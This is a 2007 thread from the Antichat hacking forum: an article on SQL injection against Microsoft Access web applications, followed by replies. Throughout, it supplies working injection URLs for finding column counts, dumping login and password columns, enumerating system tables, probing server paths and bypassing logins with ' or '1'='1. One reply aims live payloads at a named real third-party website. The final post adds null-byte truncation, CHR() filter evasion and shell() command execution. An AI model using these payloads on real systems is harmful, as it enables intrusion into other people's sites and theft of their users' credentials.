ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проведение SQL инъекций в Microsoft Access
  #1  
Старый 05.10.2007, 14:50
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию Проведение SQL инъекций в Microsoft Access

Проведение SQL инъекций в Microsoft Access


[Введение]

В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.
Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\
При этом ресурсы использующие MS Access достаточно распространены в сети.
Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)

[Особенности MS Access]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).

[B]Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:

Код:
select [Предикат] Поля from Таблицы [in БазаДанных]
[where ...] [group by ...] [having ...] [order by ...];
Необязательные аргументы заключены в [ ].

Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать
оператор TOP X START AT Y.

Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.

Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.

[Обнаружение MS Access]

Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:

Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или

Код:
Microsoft JET Database Engine error '80040e14'

Syntax error in string ....
В любом случае работаем с Access.

[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:
www.site.com/view.asp?id=1’
Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.

Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!

1. Простой перебор.

Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+union+select+1+from+users
Если появилась ошибка:

Код:
The number of columns in the two selected tables or queries of a union query do not match.
увеличиваем количество столбцов на один
Код:
www.site.com/view.asp?id=-1+union+select+1, 2+from+users
и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY

Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.

Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+order+by+1
если ошибка с номером:

Код:
error '80020009'
значит столбцов 1 или более 1

Код:
www.site.com/view.asp?id=-1+order+by+99999
При таком запросе должна появиться ошибка:
Код:
Microsoft JET Database Engine error '80040e14'

The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.
что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+1,2,3,4+from+users
И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:
www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123

[Таблицы]

Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:
Код:
MSysACEs
MSysCmdbars
MSysModules
MSysModules2
MSysObjects
MSysQueries
MSysRelationships
Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):

Код:
www.site.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6
Для получения следующего имени таблицы воспользуемся оператором TOP:
Код:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MSysObjects+where+MSysObjects.Type=6
Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.

Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...

[Раскрытие путей]

Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.

1. Раскрытие системной директории.
Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'
главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:
Код:
Microsoft JET Database Engine error '80004005'

The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.
2. Подтверждение существования файла.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini'
Если файл не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'

Could not find file 'C:\boot.ini'
Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005'

Unrecognized database format 'C:\boot.ini'
3. Подтверждение существования директории.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\sqlerr'
Если дира не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005'

'с:\inetpub\sqlerr' is not a valid path.
Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005'

Could not find file 'с:\inetpub\sqlerr'
[Обход простой Авторизации]

Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:

Код:
www.site.com/view.asp?name=as'+and+'1
Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:
Код:
        user = request("user")
        pass = request("pass")
        Set Conn =  Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if
Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:
Код:
user = ' or '1'='1
pass = test
[Копирайты]

При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=com_content&task=view&id=297&Item id=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)

[ЗЫ]

Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =)
Конструктивная критика и дополнения приветствуются =)

Специально для Antichat, [53x]Shadow©

Последний раз редактировалось [53x]Shadow; 10.10.2007 в 20:34.. Причина: немного пояснений
 
Ответить с цитированием

  #2  
Старый 05.10.2007, 18:14
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
Немаловажным свойством является отсутствие оператора LIMIT, вместо него можно использовать
оператор TOP X START AT Y.
Ну начнем с того что это синтаксис во всех TSQL подобных языках.

Цитата:
Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.
Символ двоеточие во всях языках SQL означает конец запроса, и его можно применять в MS access при устолвии что ижектируемая переменная последяя, если же после нее идет запрос например "where id=$inject order by $id" то примение кавычек невозможно.

Насчет коментариев, на 99% уверен что коментарии работают "--" и "{", как появиться время поставлю потестю.

И собсвенно вопрос [53x]Shadow
Вы имеете ввиду JetDatabase или MS Access ODBE ибо это разные бещи...

Цитата:
Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
А and 1=1

Последний раз редактировалось [ cash ]; 05.10.2007 в 18:19..
 
Ответить с цитированием

  #3  
Старый 05.10.2007, 18:45
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Ждал замечаний и вопросов от тебя =)

Цитата:
Ну начнем с того что это синтаксис во всех TSQL подобных языках.
полностью согласен.
Цитата:
Символ двоеточие во всях языках SQL означает конец запроса, и его можно применять в MS access при устолвии что ижектируемая переменная последяя, если же после нее идет запрос например "where id=$inject order by $id" то примение кавычек невозможно.
Даже если инжектируемая переменная последняя, используемый стандартный драйвер ODBC непосредственно при интерфейсе на VBS или драйвер Native Jet ISAM Driver из СУБД Jet DataBase не позволяют
после нее пользуясь символом ";" вставить еще один запрос!
вот пример, можешь потестить, здесь переменная последняя в запросе, дальше ничего нет
Код:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1
Цитата:
Насчет коментариев, на 99% уверен что коментарии работают "--" и "{", как появиться время поставлю потестю.
Синтаксис ANSI SQL/92 реализованный в MS Access не поддерживает не один вид комментариев =)

Цитата:
И собсвенно вопрос [53x]Shadow
Вы имеете ввиду JetDatabase или MS Access ODBE ибо это разные бещи...
Это разные вещи, но построены на использовании MS Access, соотвественно название статьи дает ответ на ваш вопрос - рассматриваю оба варианта т.к. в основном упор инъекции делается на реализацию стандарта SQL в MS Access.
Хочу заметить, что СУБД Jet DataBase в ранних версиях использовала драйвер ODBC Microsoft Access Driver.

Цитата:
А and 1=1
не катит, стандартная ошибка:
Код:
Query input must contain at least one table or query
Соответственно любой запрос должен осуществляться из какой-либо таблы или запроса(здесь рекурсия =\).
 
Ответить с цитированием

  #4  
Старый 05.10.2007, 20:35
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Ну во первых хочу заметить что наличие ошибки не означает не выолнение запроса.

Дальше Коментарии
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1+from+news#SELEC T+1=0'
Смотрим и убеждаемся что рубит нахер и сразу как говориться. # Конец строки и не ипет.

Далее насчет обязательного from table берд.
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=0
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=1
Такой запрос
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=1+group+by+1+having+1=1
Далее а кто запрещал юзать подзапросы в милионный раз говорю это действительно удобнее...
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+union+select+1+from+news
Так не легче, да и поля не надо перебирать.
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=(select+1+from+users)
Далее функции, Я не писал в своих статьях о функциях да и не буду наверное каму надо тот найдет, скажу одно Функций тут гараздро больше, и собсвенно проводить иньекции намного легче. Для ввода распомотрим такой запрос
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=date()
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+1=date()
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+or+1=date()
Думаю всем понятно что любую функцию можно использывать соблюсти при этом синтаксис. Далее возьмем те иньекции в котороых ошибки не выводяться, умные люди уже давно не ставят кавчки потаму что 1 ошибки как правило логируються а второе ошибка это не иньекция, а вот исполнение какой то элементаной контрукции-условия это 100% иньекция. Так в MSSQL тоже есть посивольный перебор то при слепых иньеция мы его можем использывать И смотреть на ответ сервера, и не забывать что в SQL есть не только 1=1 но TRUE=TRUE TRUE=FALSE котрые также можно использывать во всех реализциях SQL Например
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+TRUE=TRUE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+FALSE=FALSE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+FALSE=TRUE
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=1+and+TRUE=FALSE
Исользуя эту конструкцию и подзапросы мы может делать очень многое и знать исполнилось это или нет...

Далее пару слов о фильтрации и захреначим запрос не используя пробелов и их заменилей
Цитата:
http://www.libertaegiustizia.it/blog_generale/messaggi02.asp?id=(1)or(1)=(select(1)from(users))
P.S. Ну в принцыпе статья на твердую 4, но тема сисек не раскрыта.
И вообще мое мнение что надо писать стать по SQL иньекциям как таковым ибо все похоже очень похоже разделять на классы и типы баз не очень нужно нужно просто знать что и где и почем.

Последний раз редактировалось [ cash ]; 05.10.2007 в 20:38..
 
Ответить с цитированием

  #5  
Старый 06.10.2007, 04:02
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Далее насчет обязательного from table берд.
То что написано в статье про обязательность from table - это правильно в том контексте, что при подборе столбцов через union select и при сливе инфы из базы необходимо инжектируемый запрос select использовать только с from table.
Просто мы с кэшем не поняли друг друга малость (разобрались в аське чтоб не флудить), все примеры, что привел кэш в пред посте верны. Просто инжектируемая конструкция в них впринципе не требует from table.

Цитата:
Смотрим и убеждаемся что рубит нахер и сразу как говориться. # Конец строки и не ипет.
По поводу символа комментария "#", есть подозрения что Кэш прав. Как только найду инфу и/или проверю на практике, сразу дополню статью!

ЗЫ
Цитата:
P.S. Ну в принцыпе статья на твердую 4, но тема сисек не раскрыта.
Кэшу как всегда спасибо за оценку, замечания и предложения =)
 
Ответить с цитированием

  #6  
Старый 06.10.2007, 15:07
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Джетлмены, сколько раз в своей жизни вы встречали субд Мс аксесс?
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #7  
Старый 06.10.2007, 18:12
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от Constantine  
Джетлмены, сколько раз в своей жизни вы встречали субд Мс аксесс?
Честно сказать, мне уже раз ~10 попадалась за последние 2 месяца =)
При этом на достаточно интересных ресурсах, даже натовский сайт один попался. Надо понимать, что в основном не чистая Мс Аксесс попадается, а Jet Database(достаточно распространенная субд) кот. использует Access2007 в основе + IIS 6.0. Вообщем встречается и все чаще =\

Последний раз редактировалось [53x]Shadow; 06.10.2007 в 18:19..
 
Ответить с цитированием

  #8  
Старый 07.10.2007, 05:56
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Constantine
Вы не правы, MS Access используеться довольно развернуто, кроме того лишние знания данной СУБД не помешают.
 
Ответить с цитированием

Хек епта.
  #9  
Старый 07.10.2007, 06:38
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


Exclamation Хек епта.

Значит так =) "select не может быть без from" Еще раз пищу это полный бред.
Мое заключение по синтаксису, Запрос
Цитата:
SELECT 123
Будет работать на всех версиях акса старше 97 при условии что это не сложный запрос и в нем не используються подзапросы и объеденяющие запросы. И вообще 1 чел сказал что работать должно на всех версиях акса просто не удалось найти более ранние тут все зависит от версии Jeta ну это джет это компонент а не база данных.

Поясню у нас был спор что запрос
SELECT 123
В результате которого должна вывестить 123, будет работать только с FROM {TABLE}.
 
Ответить с цитированием

Важные дополнения!!!
  #10  
Старый 10.10.2007, 22:50
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
Exclamation Важные дополнения!!!

Доплнение

Чтобы избежать дальнейших противоречий, вопросов и ссылок на непроверенные источники
поднял у себя MS Access 2003 дабы убедится во всем самолично.
При анализе так же использовалась утилита:
ADO Query Tools
Version 1.0.8 build 23
Copyright (c) Arbinada.com 2007
скачать
Итак приступим...

[Провайдеры]

Для взаимодействия с MS Access обычно используются два провайдера(драйвера):

Microsoft OLE DB Provider for ODBC Drivers
Поставляется по умолчанию с Windows

и

Microsoft Jet 4.0 OLE DB Provider
Устанавливается дополнительно в зависимости от нужд.
У меня установился вместе с ADO Query Tools

Поэтому при инъекции в MS Access одинаково часто можно встретить ошибки двух типов:

Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или

Код:
Microsoft JET Database Engine error '80040e14'
Syntax error in string ....
[Комментарии]

MS Access не поддерживает ни один вид комментариев!
Как и было указано в самой статье - для усечения оставшейся части
запроса после инжектируемого параметра не возможно воспользоваться
символами комментариев типа "/*", "--", "#".

Но при этом(важно!) для усечения можно воспользоваться нуль-байтом (%00)

MS Access воспринимает его как конец запроса =)

пример:
Код:
www.site.com/view.asp?id=-1+union+select+1+from+users%00
При этом символ "#" при попытке усечения запроса через http get-запрос,
просто не учитывается и не подставляется в SQL-запрос вместе с параметром,
что создает эффект усечения.

[Шелл]

В MS Access возможно в запросах использовать функции shell(), curdir()
По умолчанию (для безопасности) использование этих функций отключено.
В реестре ключ
Код:
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
по умолчанию равен 3

Если этот ключ каким либо образом (случайно или преднамерено)
установлен в 0 возможно выполнение этих функций!

Пример Shell:
Код:
www.site.com/view.asp?id=1+and+shell('cmd /c calc')%00
Запускается калькулятор - проверено лично, робит =)

Пример CurDir:
Код:
www.site.com/view.asp?id=1+union+select+CurDir()+from+table%00
получим текущую диру расположения файла с БД.
Необходимо знать имя таблицы и кол-во столбцов(как см. статью)

[Обход фильтрации]

В MS Access отсутствует функции concat(), поэтому для конкатенации
используются операторы "+" и "&"
При этом при http get необходимо учитывать что символ "+" надо заменять на %2B

Для обхода фильтрации можно воспользоваться функций CHR()
При этом надо помнить, что строки надо кодировать посимвольно!
т.е.
Код:
CHR(XX)%2BCHR(XX)%2BCHR(XX)%2B....
[Запросы]

В простых запросах SELECT как и писал [cash]
можно обойтись без FROM TABLE
Код:
select 123
работает проверено =)

Но при проведении инъекции с внедрением своего
запроса через параметр получается сложный запрос.
При использовании конструкции UNION SELECT в
объединяемом запросе необходимо присутствия FROM TABLE
тоже проверено =)

[ЗЫ]
Инфа по теме http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html

Последний раз редактировалось [53x]Shadow; 10.10.2007 в 23:29..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
3.61 гига книжек от майкрософт Talisman Болталка 0 27.03.2007 19:38
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ